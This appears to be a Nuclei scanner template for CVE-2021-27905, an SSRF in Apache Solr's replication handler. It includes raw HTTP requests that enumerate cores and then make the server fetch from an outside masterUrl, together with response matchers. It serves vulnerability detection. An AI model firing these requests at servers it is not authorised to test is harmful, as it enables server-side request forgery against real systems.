id: CVE-2021-27905 info: name: Apache Solr <=8.8.1 - Server-Side Request Forgery author: hackergautam severity: critical description: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. remediation: This issue is resolved in Apache Solr 8.8.2 and later. reference: - https://www.anquanke.com/post/id/238201 - https://ubuntu.com/security/CVE-2021-27905 - https://nvd.nist.gov/vuln/detail/CVE-2021-27905 - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27905 cwe-id: CWE-918 tags: cve,cve2021,apache,solr,ssrf requests: - raw: - | GET /solr/admin/cores?wt=json HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close - | GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://example.com HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close extractors: - type: regex internal: true name: core group: 1 regex: - '"name"\:"(.*?)"' matchers: - type: word words: - 'OK' part: body # Enhanced by mp on 2022/05/17